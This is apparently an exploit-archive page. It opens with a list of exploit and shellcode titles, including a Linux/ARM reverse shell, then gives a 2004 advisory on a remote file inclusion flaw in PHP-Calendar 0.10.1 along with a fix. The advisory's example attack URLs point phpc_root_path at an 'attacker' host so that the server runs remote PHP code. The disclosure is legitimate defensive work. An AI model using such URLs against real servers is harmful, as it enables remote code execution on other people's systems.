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62 changes to exploits/shellcodes macOS 10.13 (17A365) - Kernel Memory Disclosure due to Lack of Bounds Checking in 'AppleIntelCapriController::getDisplayPipeCapability' Peercast < 0.1211 - Format String Trillian Pro < 2.01 - Design Error dbPowerAmp < 2.0/10.0 - Buffer Overflow PsychoStats < 2.2.4 Beta - Cross Site Scripting MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution GitStack 2.3.10 - Unauthenticated Remote Code Execution Invision Power Top Site List < 2.0 Alpha 3 - SQL Injection (PoC) Invision Power Board (IP.Board) < 2.0 Alpha 3 - SQL Injection (PoC) Aardvark Topsites < 4.1.0 - Multiple Vulnerabilities DUWare Multiple Products - Multiple Vulnerabilities AutoRank PHP < 2.0.4 - SQL Injection (PoC) ASPapp Multiple Products - Multiple Vulnerabilities osCommerce < 2.2-MS2 - Multiple Vulnerabilities PostNuke < 0.726 Phoenix - Multiple Vulnerabilities MetaDot < 5.6.5.4b5 - Multiple Vulnerabilities phpGedView < 2.65 beta 5 - Multiple Vulnerabilities phpShop < 0.6.1-b - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3 - SQL Injection phpBB < 2.0.6d - Cross Site Scripting Phorum < 5.0.3 Beta - Cross Site Scripting vBulletin < 3.0.0 RC4 - Cross Site Scripting Mambo < 4.5 - Multiple Vulnerabilities phpBB < 2.0.7a - Multiple Vulnerabilities Invision Power Top Site List < 1.1 RC 2 - SQL Injection Invision Gallery < 1.0.1 - SQL Injection PhotoPost < 4.6 - Multiple Vulnerabilities TikiWiki < 1.8.1 - Multiple Vulnerabilities phpBugTracker < 0.9.1 - Multiple Vulnerabilities OpenBB < 1.0.6 - Multiple Vulnerabilities PHPX < 3.26 - Multiple Vulnerabilities Invision Power Board (IP.Board) < 1.3.1 - Design Error HelpCenter Live! < 1.2.7 - Multiple Vulnerabilities LiveWorld Multiple Products - Cross Site Scripting WHM.AutoPilot < 2.4.6.5 - Multiple Vulnerabilities PHP-Calendar < 0.10.1 - Arbitrary File Inclusion PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities ReviewPost < 2.84 - Multiple Vulnerabilities PhotoPost < 4.85 - Multiple Vulnerabilities AZBB < 1.0.07d - Multiple Vulnerabilities Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities Burning Board < 2.3.1 - SQL Injection XOOPS < 2.0.11 - Multiple Vulnerabilities PEAR XML_RPC < 1.3.0 - Remote Code Execution PHPXMLRPC < 1.1 - Remote Code Execution SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite XPCOM - Race Condition ADOdb < 4.71 - Cross Site Scripting Geeklog < 1.4.0 - Multiple Vulnerabilities PEAR LiveUser < 0.16.8 - Arbitrary File Access Mambo < 4.5.3h - Multiple Vulnerabilities phpRPC < 0.7 - Remote Code Execution Gallery 2 < 2.0.2 - Multiple Vulnerabilities PHPLib < 7.4 - SQL Injection SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite CubeCart < 3.0.12 - Multiple Vulnerabilities Claroline < 1.7.7 - Arbitrary File Inclusion X-Cart < 4.1.3 - Arbitrary Variable Overwrite Mambo < 4.5.4 - SQL Injection Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities D-Link DNS-343 ShareCenter < 1.05 - Command Injection D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities Linux/ARM - Reverse TCP (192.168.1.1:4444/TCP) Shell (/bin/sh) + Password (MyPasswd) + Null-Free Shellcode (156 bytes)
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PHP-Calendar Arbitrary File Inclusion
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Vendor: Sean Proctor
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Product: PHP-Calendar
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Version: <= 0.10.1
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Website: http://php-calendar.sourceforge.net/
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BID: 12127
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CVE: CVE-2004-1423
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OSVDB: 12700 12701
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SECUNIA: 22516
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PACKETSTORM: 35563
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Description:
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I was searching for a decent calendar which my group at school could use to keep track of events, etc. We were previously using localendar, which I didn't like and it had some problems. I found CST-Calendar which did most of what I wanted, but was rather ugly and missed some features others in the group wanted. So, I gradually re-wrote CST-Calendar since that project seems to have stopped work entirely. [ As quoted from their website ]
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File Include Vulnerability:
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There is a very dangerous file include vulnerability in php-calendar, and making the issue even more dangerous is that I found out about php-calendar from an individual who said that php-calendar is a great open source calendar to use in php projects, and is fairly popular amongst open source php developers. This may be true, but the vulnerabilities need to be fixed if the same conditions apply as found in the original code. Below are example attack url's
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http://path/includes/calendar.php?phpc_root_path=http://attacker/includes/html.php http://path/includes/setup.php?phpc_root_path=http://attacker/includes/html.php
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If php globals are set to on then it is highly probable that an attacker will be able to include arbitrary php files and thus execute system commands with the rights of the web server. This can be very dangerous in some situations.
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Solution:
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php-calendar has a defined constant to help prevent against stuff like this. It can be seen in other php-calendar files such as db.php
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if ( !defined('IN_PHPC') ) {
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die("Hacking attempt");
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}
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Adding the following to the top of the affected pages should suffice in preventing the kinds of attacks previously mentioned in this advisory.
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Credits:
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James Bercegay of the GulfTech Security Research Team |